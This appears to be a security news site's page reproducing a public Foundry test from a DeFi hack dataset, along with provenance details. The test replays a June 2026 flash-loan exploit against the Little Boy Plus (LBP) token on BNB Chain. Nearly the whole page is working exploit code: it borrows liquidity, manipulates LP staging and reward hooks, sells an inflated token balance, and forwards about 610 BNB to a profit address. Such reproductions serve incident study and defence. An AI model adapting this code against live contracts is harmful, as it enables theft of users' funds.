Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/LBP_exp.sol

Public reproduction file for dataset entry LBP.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/LBP_exp.sol288 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 610.56 BNB
8// Attacker : 0xb26dfe6b6180a30e2a2d9826867cc7e06631825a
9// Attack Contract : 0x5449ded887576f43fc339851e942ebc1e6f8118b
10// Vulnerable Contract : 0x88886f0fd371dff856291badced45922bc888888
11// Attack Tx : https://bscscan.com/tx/0x55856d9fda4c5be5193561c7d775e823c3d6e499da44aab9da963daf61c50b0c
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x88886f0fd371dff856291badced45922bc888888#code
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2067329401977532429
18//
19// The attacker used Moolah and Pancake Vault flash liquidity to stage LBP LP credit, trigger LBPHashrate reward
20// accounting, and sell the inflated LBP balance exposed by LBP.balanceOf(). The final USDT was swapped to WBNB,
21// unwrapped, and forwarded as BNB profit after a 5 BNB builder payment.
23address constant TX_SENDER = 0xb26DFE6b6180A30e2A2D9826867cc7e06631825a;
24address constant PROFIT_RECEIVER = 0x515788797914Cb663114aEb806B3CFb6096F6D1A;
25address constant BUILDER_PAYMENT_RECEIVER = 0x4848489f0b2BEdd788c696e2D79b6b69D7484848;
26address constant ATTACK_DEPLOYER = 0x202bA7498C65F9F5C49b9c90953B562F9e0538FB;
27address constant ATTACK_COORDINATOR = 0x5449ded887576f43Fc339851e942eBc1E6F8118b;
29address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
30address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
31address constant LBP = 0x88886f0fD371dfF856291bAdcEd45922bC888888;
32address constant LBP_PAIR = 0x00e3Ea08fD8CBaD955Ec5d2292Ad637670c31524;
33address constant USDT_WBNB_PAIR = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;
34address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
36address constant MOOLAH_PROXY = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
37address constant PANCAKE_VAULT = 0x238a358808379702088667322f80aC48bAd5e6c4;
38address constant LBP_HASHRATE = 0x5E3cBc82D020be91a989Eb747934104E9AB585Fe;
39address constant POL_VAULT = 0x01c87119a0D1C3730534b8d909eFeB1911b9fdB0;
40address constant REFERRAL_ROOT = 0x51EDEAb1CEa55570b246b3A1E42DAba9027c5cc2;
42interface IMoolahFlashLoan {
43 function flashLoan(
44 address token,
45 uint256 assets,
46 bytes calldata data
47 ) external;
50interface IPancakeVault {
51 function lock(
52 bytes calldata data
53 ) external returns (bytes memory result);
54 function take(
55 address currency,
56 address to,
57 uint256 amount
58 ) external;
59 function sync(
60 address currency
61 ) external;
62 function settle() external payable returns (uint256);
65interface ILockCallback {
66 function lockAcquired(
67 bytes calldata data
68 ) external returns (bytes memory result);
71interface IMoolahFlashLoanCallback {
72 function onMoolahFlashLoan(
73 uint256 assets,
74 bytes calldata data
75 ) external;
78interface ILBPToken is IERC20 {
79 function rawBalanceOf(
80 address account
81 ) external view returns (uint256);
84interface ILBPHashrate is IERC20 {
85 function bindReferral(
86 address upline
87 ) external;
90interface IPolVault {
91 function flushPol() external returns (uint256 liquidityAdded);
94contract ContractTest is BaseTestWithBalanceLog {
95 function setUp() public {
96 uint256 forkBlock = 104_727_183;
97 vm.createSelectFork("bsc", forkBlock);
98 fundingToken = address(0);
100 vm.label(TX_SENDER, "Transaction sender");
101 vm.label(ATTACK_DEPLOYER, "Attack deployer");
102 vm.label(ATTACK_COORDINATOR, "Attack coordinator");
103 vm.label(PROFIT_RECEIVER, "Profit receiver");
104 vm.label(BUILDER_PAYMENT_RECEIVER, "Builder payment receiver");
105 vm.label(USDT_TOKEN, "USDT");
106 vm.label(WBNB_TOKEN, "WBNB");
107 vm.label(LBP, "Little Boy Plus");
108 vm.label(LBP_PAIR, "LBP/USDT pair");
109 vm.label(USDT_WBNB_PAIR, "USDT/WBNB pair");
110 vm.label(MOOLAH_PROXY, "Moolah proxy");
111 vm.label(PANCAKE_VAULT, "Pancake Vault");
112 vm.label(LBP_HASHRATE, "LBPHashrate");
113 vm.label(POL_VAULT, "PolVault");
114 }
116 function testExploit() public balanceLog2(PROFIT_RECEIVER) {
117 uint256 profitBefore = PROFIT_RECEIVER.balance;
119 vm.startPrank(TX_SENDER);
120 LBPAttackDeployer deployer = new LBPAttackDeployer();
121 assertEq(address(deployer), ATTACK_DEPLOYER, "unexpected attack deployer address");
122 address coordinator = deployer.run();
123 assertEq(coordinator, ATTACK_COORDINATOR, "unexpected attack coordinator address");
124 vm.stopPrank();
126 uint256 bnbProfit = PROFIT_RECEIVER.balance - profitBefore;
127 emit log_named_decimal_uint("Profit receiver BNB profit", bnbProfit, 18);
129 assertGt(bnbProfit, 590 ether, "BNB profit below expected impact");
130 }
133contract LBPAttackDeployer {
134 function run() external returns (address coordinator) {
135 LBPAttack attack = new LBPAttack();
136 coordinator = address(attack);
137 attack.run();
138 }
141contract LBPAttack is IMoolahFlashLoanCallback, ILockCallback {
142 IERC20 private constant usdt = IERC20(USDT_TOKEN);
143 ILBPToken private constant lbp = ILBPToken(LBP);
144 IWBNB private constant wbnb = IWBNB(payable(WBNB_TOKEN));
145 IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));
146 IPancakePair private constant lbpPair = IPancakePair(LBP_PAIR);
147 IPancakePair private constant usdtWbnbPair = IPancakePair(USDT_WBNB_PAIR);
148 IMoolahFlashLoan private constant moolah = IMoolahFlashLoan(MOOLAH_PROXY);
149 IPancakeVault private constant vault = IPancakeVault(PANCAKE_VAULT);
150 ILBPHashrate private constant hashrate = ILBPHashrate(LBP_HASHRATE);
151 IPolVault private constant polVault = IPolVault(POL_VAULT);
153 uint256 private expectedFlashUsdt;
155 receive() external payable {}
157 function run() external {
158 usdt.approve(MOOLAH_PROXY, type(uint256).max);
160 // step 1: borrow all USDT liquidity visible in Moolah; callback performs the LBP manipulation.
161 expectedFlashUsdt = usdt.balanceOf(MOOLAH_PROXY);
162 moolah.flashLoan(USDT_TOKEN, expectedFlashUsdt, "");
164 // step 6: after Moolah pulls repayment, convert all remaining USDT to BNB.
165 _swapAllUsdtToWbnb();
166 uint256 wbnbBalance = wbnb.balanceOf(address(this));
167 wbnb.withdraw(wbnbBalance);
169 uint256 builderPayment = 5 ether;
170 payable(BUILDER_PAYMENT_RECEIVER).transfer(builderPayment);
171 payable(PROFIT_RECEIVER).transfer(address(this).balance);
172 }
174 function onMoolahFlashLoan(
175 uint256 assets,
176 bytes calldata
177 ) external {
178 require(msg.sender == MOOLAH_PROXY, "unexpected flash lender");
179 require(assets == expectedFlashUsdt, "unexpected flash amount");
181 // step 2: enter Pancake Vault lock and take transient USDT liquidity.
182 vault.lock("");
183 }
185 function lockAcquired(
186 bytes calldata
187 ) external returns (bytes memory) {
188 require(msg.sender == PANCAKE_VAULT, "unexpected vault");
190 uint256 vaultUsdt = usdt.balanceOf(PANCAKE_VAULT);
191 vault.take(USDT_TOKEN, address(this), vaultUsdt);
193 // step 3: use staged LBP/USDT liquidity and PolVault side effects to mint hLBP credit.
194 uint256 firstBuyUsdt = 1000 ether;
195 uint256 dustBuyUsdt = 1 ether;
196 uint256 pumpBuyUsdt = 15_000_000 ether;
198 _buyLbp(firstBuyUsdt);
199 uint256 firstStageLbp = lbp.balanceOf(address(this)) * 99 / 100;
200 _transferLbpAndBalancedUsdt(firstStageLbp, LBP_PAIR);
201 polVault.flushPol();
202 hashrate.bindReferral(REFERRAL_ROOT);
204 _buyLbp(dustBuyUsdt);
205 _buyLbp(pumpBuyUsdt);
206 _stageSecondLbpLiquidity();
208 // step 4: force hLBP hooks and harvest LBP rewards, then sell the inflated LBP balance.
209 lbp.transfer(address(this), 0);
210 hashrate.transferFrom(LBP_PAIR, address(0xdead), 0);
211 _sellAllVisibleLbpForUsdt();
213 // step 5: repay the Pancake Vault transient delta.
214 vault.sync(USDT_TOKEN);
215 usdt.transfer(PANCAKE_VAULT, vaultUsdt);
216 vault.settle();
218 return "";
219 }
221 function _buyLbp(
222 uint256 usdtAmount
223 ) private returns (uint256 lbpOut) {
224 address[] memory path = new address[](2);
225 path[0] = USDT_TOKEN;
226 path[1] = LBP;
227 lbpOut = router.getAmountsOut(usdtAmount, path)[1];
229 usdt.transfer(LBP_PAIR, usdtAmount);
230 lbpPair.swap(0, lbpOut, address(this), "");
231 }
233 function _stageSecondLbpLiquidity() private {
234 // Trace reads the pair LBP balance, then stages 3/8 of it with proportional USDT.
235 uint256 pairLbpBalance = lbp.balanceOf(LBP_PAIR);
236 uint256 stagedLbp = pairLbpBalance * 3 / 8;
238 (uint112 reserveUsdt, uint112 reserveLbp,) = lbpPair.getReserves();
239 uint256 balancedUsdtForPairBalance = pairLbpBalance * uint256(reserveUsdt) / uint256(reserveLbp);
240 uint256 stagedUsdt = balancedUsdtForPairBalance * 3 / 8;
242 lbp.transfer(LBP_PAIR, stagedLbp);
243 usdt.transfer(LBP_PAIR, stagedUsdt);
244 lbpPair.skim(LBP_PAIR);
245 lbpPair.mint(address(this));
246 }
248 function _transferLbpAndBalancedUsdt(
249 uint256 lbpGross,
250 address lpReceiver
251 ) private {
252 uint256 pairLbpBefore = lbp.rawBalanceOf(LBP_PAIR);
253 lbp.transfer(LBP_PAIR, lbpGross);
254 uint256 lbpNet = lbp.rawBalanceOf(LBP_PAIR) - pairLbpBefore;
256 (uint112 reserveUsdt, uint112 reserveLbp,) = lbpPair.getReserves();
257 uint256 usdtAmount = lbpNet * uint256(reserveUsdt) / uint256(reserveLbp);
258 usdt.transfer(LBP_PAIR, usdtAmount);
259 lbpPair.mint(lpReceiver);
260 }
262 function _sellAllVisibleLbpForUsdt() private {
263 uint256 lbpAmount = lbp.balanceOf(address(this));
264 (uint112 reserveUsdt, uint112 reserveLbp,) = lbpPair.getReserves();
266 lbp.transfer(LBP_PAIR, lbpAmount);
267 uint256 pairLbpInput = lbp.rawBalanceOf(LBP_PAIR) - uint256(reserveLbp);
268 uint256 usdtOut = router.getAmountOut(pairLbpInput, uint256(reserveLbp), uint256(reserveUsdt));
269 lbpPair.swap(usdtOut, 0, address(this), "");
270 }
272 function _swapAllUsdtToWbnb() private {
273 uint256 usdtAmount = usdt.balanceOf(address(this));
274 uint256 wbnbOut = _getAmountOutFromPair(usdtWbnbPair, usdtAmount, true);
275 usdt.transfer(USDT_WBNB_PAIR, usdtAmount);
276 usdtWbnbPair.swap(0, wbnbOut, address(this), "");
277 }
279 function _getAmountOutFromPair(
280 IPancakePair pair,
281 uint256 amountIn,
282 bool token0In
283 ) private view returns (uint256) {
284 (uint112 reserve0, uint112 reserve1,) = pair.getReserves();
285 if (token0In) return router.getAmountOut(amountIn, reserve0, reserve1);
286 return router.getAmountOut(amountIn, reserve1, reserve0);
287 }

Analysis

Dataset entry

Public Foundry test for “LBP” (2026-06-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb26dfe6b6180a30e2a2d9826867cc7e06631825a

  • Attack Contract

    0x5449ded887576f43fc339851e942ebc1e6f8118b

  • Vulnerable Contract

    0x88886f0fd371dff856291badced45922bc888888

  • Attack Tx

    0x55856d9fda4c5be5193561c7d775e823c3d6e499da44aab9da963daf61c50b0c

File record

Name
LBP
Path
src/test/2026-06/LBP_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2887cddd2bff95d64f171bd161a5d7cf91f17bc3
Language
Solidity
Size
289 lines
Date
2026-06-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/LBP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2887cddd2bff95d64f171bd161a5d7cf91f17bc3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.